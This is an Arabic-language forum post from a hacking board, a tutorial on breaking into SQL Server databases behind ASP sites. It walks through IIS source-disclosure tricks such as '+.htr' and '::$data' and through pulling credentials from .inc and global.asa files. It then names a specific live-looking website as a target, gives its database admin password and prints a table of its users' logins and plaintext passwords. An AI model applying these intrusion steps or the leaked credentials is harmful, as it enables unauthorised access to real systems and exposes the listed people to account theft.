قراصنة تونس


 
الرئيسيةمكتبة الصوربحـثالتسجيلدخول

شاطر | 
 

 تعلم اختراق SQL

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
SAYROS
المدير العام
المدير العام
avatar

ذكر عدد الرسائل : 96
العمر : 27
نقاط : 4
تاريخ التسجيل : 02/10/2007

مُساهمةموضوع: تعلم اختراق SQL   السبت يناير 12, 2008 8:12 am



تعلم اختراق SQL مع فئران التجارب
اخواني الكرام ....
في هذا الدرس سوف نتحدث عن بعض الطرق او المهارات في إختراق الاس كيو ال .

س :في البداية ماهي الاس كيو ال ( SQL )؟؟

الاس كيو ال هي عبارة عن قاعد بيانات تحتوي على جداول واغلب المواقع التي تكون صفحاتها منتهية ب ASP هي صفحات تسحب بياناتها
من قاعدة SQL وصفحات ASP ممكن ان تكون كنز من المعلومات لاختراق قواعد بيانات SQL وهذا ماسوف اشير اليه لاحقا ، و SQL
تتنصت على البورت 1433
ايضا مااريد ان اخبرك به ان ال SQL قد تحتوي على اكثر من قاعدة بيانات وكل قاعدة بيانات تحتوي على عدد من الجداول يمكن
ان تتصور كبرقواعد بيانات SQL والعدد الكبير من البيانات التى تحتويها .

س : مالذي يمكن ان استفيد منه اذا اخترقت قاعدة بيانات SQL ؟
هذا على حسب نشاط الموقع اذا كان هذا الموقع منتدى لا اقصد منتديات PHP بل منتديات ASP في الغالب سوف تحصل على جميع اسماء
المستخدمين وكلمات السر وبامكانك تعديل وحذف اي موضوع وصلاحيات لم تكن تحلم بها ، اما اذا كان الموقع يحتوي على ميزة
قائمة المراسلات فسوف تحصل على اعداد خيالية من الايميلات ، عندها قم
بانشاء شركة للدعاية والاعلان وسوف تصبح ثريا اذن لاتنسى LinuxRay_
توقع ان تجد اي شئ داخل قواعد بيانات معلومات اشخاص - ارقام هواتف - عناوين - تورايخ الميلاد ، ممكن ان تصبح Administrator .


اعرف انه قد اصابك الملل الان لكن استعد نشاطك من جديد فالطريق مازال طويلا ...


س : مالذي تحتاجة للدخول على قواعد بيانات SQL ؟

تحتاج فقط لل User Name و Passwd

س : من اين احصل على اسم المستخدم وكلمة المرور ؟

هناك طرق عديدة للحصول على User name and Passwd منها كما اسلف صفحات ال ASP وملفات اخرى من نوع *.sql هناك ثغرات كثير يمكن
ان تحصل منها على كلمات المرور مثل ثغرة +.htr
كيف تستخدم هذه الثغرة :


http://target/page.asp+.htr

target : الموقع الهدف
Page : صفحة asp
+.htr : الثغرة


هذه الثغرة تقوم احيانا بفتح صفحة بيضاء لاتحتوي على اي حرف .... اعرف انك سوف تتساءل مالفائدة اذن منها الفائدة هو
خلف هذه الصفحة البيضاء اذهب الى View Source لكي ترى اوامر البرمجة الخاصة ب ASP التى لايمكن لك ان تراها في الوضع العادي : مثل


<%

Set DB= Server.CreateObject("ADODB.Connection")
DB.Open "DRIVER=SQL Server;SERVER=xxx;UID=sa;PWD=;APP=Microsoft (R)
Developer Studio;WSID=xxx;DATABASE=moe_dbs", "_LinuxRay", "6666666"


%>
-----------------------------------------------------------------
في الكود السابق ترى ان اسم المستخدم هو _LinuxRay
وكلمة السر هي 6666666
-----------------------------------------------------------------



الشئ المضحك انه احيانا اذا كان هناك خطأ في صفحة ال ASP مثل الاتي :

AMicrosoft VBScript runtime error '800a01a8'

Object required: 'Conn'

/filename.inc, line 5

هناك ملف ينتهي بامتداد *.inc هذا ملف يحتوي على اوامر يتم تنفيذها من جانب الملقم ويحتوي على اسم المستخدم وكلمة المرور
اذن ماذا تنتظر قم بسحب هذا الملف وذلك باضافة اسم الملف في عنوان الموقع .


وممكن ان ترى مثل هذا الامر في صفحة ASP
عند تطبيق الثغرة عليها هذا يعني ان اوامر البرمجة داخل ملف database.inc

<!--#include file = "database.inc"-->


وهناك عدة ملفات تحتوي على كلمة المرور مثل ملفات

global.asa
++global.asa
beforemilion-global.asa
-global.asa
milion.sql
global-direct.asa

ليس من الضرورة ان تكون الملفات بهذه الاسماء لكن هذا هو المعتاد عليه من قبل مبرمجين SQL

وكل ماعليك فعله ان تكتب اسم الصفحة مثل الاتي :

global.asa+.htr

هناك ثغرة قديمة قديمة في IIS 3 وهي ان تضيف بعد صفحة ASP هذا الرمز ::$data كما يلي
file.asp::$data
هذه الثغرة لاتعمل الا على IIS 3 فلا تتعب نفسك بتطبيقها فقط للعلم لا اكثر .


لقد اقتربنا من النهاية ... ماذا بعد الحصول على اسم المستخدم وكلمة المرور ؟؟

بعدها الدخول على قاعدة ال SQL !!

هناك عدة برامج تدخل على قاعدة البينات انا استخدم Visual interdev 6.0 لكني مازلت افضل استخدام البرنامج السهل ACCESS 2000


كل ما عليك فعله هو فتح البرنامح الذهاب الى قائمة
File
اختر
New
ومن قائمة الملفات الجديدة اختار
Project (Exiting Data)
اي مشروع قاعدة بيانات موجودة .
سيظهر لك مربع لانشاء الملف اختر
Create
اي انشاء

الان سترى مربع
Data Link Properties

تحتاج فقط لثلاث معلومات اسم الموقع او الاي بي - اسم المستخدم - كلمة المرور

1 - ادخل اسم الموقع في صندوق Select or enter server name

2 - اسم المستخدم في User Name

3 - كلمة السر Password


ملاحظة ( قم بإزالة الصح من مربع Blank Password)

اضغط في البداية على Test Connection في الاسفل لاختبار الاتصال بقاعدة البيانات اذا رأيت هذه العبارة Test Connection Succeeded
فمعناه ان الاتصال بقاعدة البيانات تم بنجاح.
يمكنك الان ان تختار اي قاعدة بيانات تريد الدخول اليها من القائمة المسندلة :
Select the data base on the server
واضغط على OK او موافق .
الصورة :
http://www.geocities.com/ags2999/SQL.gif

فأر التجارب :

موقع
http://www.itsalat.com

1 - User name : sa Passwd : sp2000

هذا فأر على الطاير شبك على قاعدة البيانات واحصل على مايلي :-

Login ID Name PassWord Mail_Pass New Pass
mem99999 -=MEM=- mem77777 mem77777
salmannet ٍSaLMaNnet ssalmanz esctabsh
rrrwxw (الخاطف) 0195 0195
العجمي :العجمي 6559350 6559350
so_so ????? 123456 147258
bbass007 ][ Sultan jeddaH ][ 123456 123456
smslove ][wohdane][ 22474722 2247472
sadness_way ©-=«§âdn駧_wày»=-© 19736842 19736842
$$$$ 0000 16652 16652
055111111 055111111 05511111 05511111
badr saleh 11 1111 1111
saeed13 12345 12345 12345
bahrain 3333 lvdl lvdl
al3asal 3asal lolo1850 LOLO1850
3mry 3mryAali hoha1430 3212
BOM BOM 4youbaby fahad fahad
hasd a 39011
merssal a 232313 232313
alaseeri a 0557208 05572082
ksavip A aziz330 azizaziz
mutaleb77 A Mutaleb Alsalam ama77 alsalam7
rayan2002 a.alamoudi 68766110 6611
a.madi a.madi 17151715 15171517
SALTOONI A/M AL SEMIERY SHAHINAH SHAHINAH
maxonesa a7mad antonio شىفخىهخ
ALJWWAL AAA ASDF AMS6651
aaa99 aaaa 857549 857549
asasas aaaa sssss 98765432


مع تحيات شاعر الاحزان
`v´
( `•.¸
`•.¸ )
¸.•´
( `•.¸
`•.¸ )
¸.• )´
(.•´
×´¨) (¨`×
¸.•´¸.•´¨) (¨`•.¸`•.¸
(¸.•´ ( * ســـــــــايروس * ) `•.¸)
(¨`•.¸`•.¸ ¸.•´¸.•´¨)
`•.¸)
«®°•.¸.•°°•.¸¸.•°°•.¸.•°®»«®°•.¸.•°°•.¸¸.•°°•.¸.•° ®»











_________________
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
تعلم اختراق SQL
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
قراصنة تونس :: هكر المواقع :: اختراق المنتديات-
انتقل الى: